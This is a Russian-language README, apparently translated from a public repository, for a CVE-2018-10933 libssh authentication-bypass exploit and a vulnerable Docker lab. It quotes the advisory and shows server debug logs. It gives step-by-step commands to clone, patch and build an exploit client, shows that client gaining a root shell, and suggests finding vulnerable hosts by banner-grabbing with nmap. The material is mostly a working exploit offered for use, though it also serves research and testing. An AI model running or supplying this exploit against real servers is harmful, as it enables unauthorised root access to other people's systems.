
cve-2018-10933 libssh обход аутентификации
Обход аутентификации libssh CVE-2018-10933 — уязвимый Docker-контейнер, прослушивающий порт 2222 для эксплуатации. В контейнер включён базовый proof-of-concept патч libssh для обхода аутентификации. Для входа используйте учётные данные по умолчанию "myuser" / "mypassword" из libssh. Патч применяется к копии libssh в Docker-контейнере, который внедряет пакет SSH2_MSG_USERAUTH_SUCCESS при любой попытке аутентификации (keyboard-interactive / pubkey / gss-api и т.д.) и переводит состояние клиентской стороны в режим продолжения. Включённый сервер пропатчен на основе примеров кода, чтобы эксплуатация проходила успешно.
./build.sh
./run.sh
ssh -l myuser -p 2222 localhost
Пропатченный exploit-libssh-0.8.3 и уязвимый sshd доступны в контейнере для целей тестирования. "ssh-client" успешно обходит аутентификацию, но не может запустить оболочку на сервере из примера по умолчанию из-за дополнительных проверок аутентификации в коде сервера.
[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
yes
This new key will be written on disk for further usage. do you agree ?
yes
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]#
Из advisory: "вредоносный клиент может создавать каналы без предварительной аутентификации, что приводит к несанкционированному доступу".
Следующий отладочный вывод libssh показывает, что аутентификация на сервере прошла успешно и сеансовый канал создан. Узел теперь аутентифицирован, но дополнительные проверки на стороне сервера препятствуют выполнению команд. Атакующий всё ещё может попытаться туннелировать/проксировать соединения через сервис.
[2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17]
Попытки запустить оболочки / exec или pty приводят к успешному сеансу, но вызывают ошибки на примере сервера из-за дополнительных проверок состояния аутентификации пользователя. Ниже показаны ошибки, выводимые на примере сервера.
[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
Для специализированных серверов libssh всё ещё возможна потенциальная реализация произвольного кода, но большинство из них могут допускать только туннелирование или иное злоупотребление протоколом SSH. Удалив дополнительную проверку аутентификации, сервер становится уязвимым к эксплойту обхода аутентификации. Серверная реализация libssh может внести эту уязвимость. Пример успешной эксплуатации с использованием пропатченного libssh ниже.
[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
yes
This new key will be written on disk for further usage. do you agree ?
yes
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)
Docker-контейнер по умолчанию запускает уязвимый пример "ssh_server_fork", оригинал можно найти в каталоге "libssh-0.8.3" для целей тестирования/отладки.
Следующие поставщики практически затронуты этой ошибкой из-за использования libssh.
libssh установлен локально на ряде дистрибутивов *BSD и Linux, а также используется ffmpeg (?), hydra и небольшим числом пакетов FOSS.
Вы можете собрать пропатченный клиент libssh из этого репозитория для использования в эксплуатации.
git clone https://github.com/hackerhouse-opensource/cve-2018-10933
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make
Затем вы можете использовать "ssh-client" и любые примеры для обхода аутентификации на затронутых серверных реализациях libssh.
$ ./ssh-client -l root 127.0.0.1 -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)
Сканирование потенциально уязвимых хостов может выполняться путём обычного захвата баннеров на затронутых SSH-портах (например, nmap).
SSH-2.0-libssh_0.8.3
Оригинальное уведомление находится в CVE-2018-10933.txt, уязвимость обнаружена Питером Уинтером Смитом. Уязвимый Docker и эксплойт-патч libssh выпущены Hacker House (https://hacker.house).
Эти файлы доступны на условиях лицензии BSD с 3 пунктами.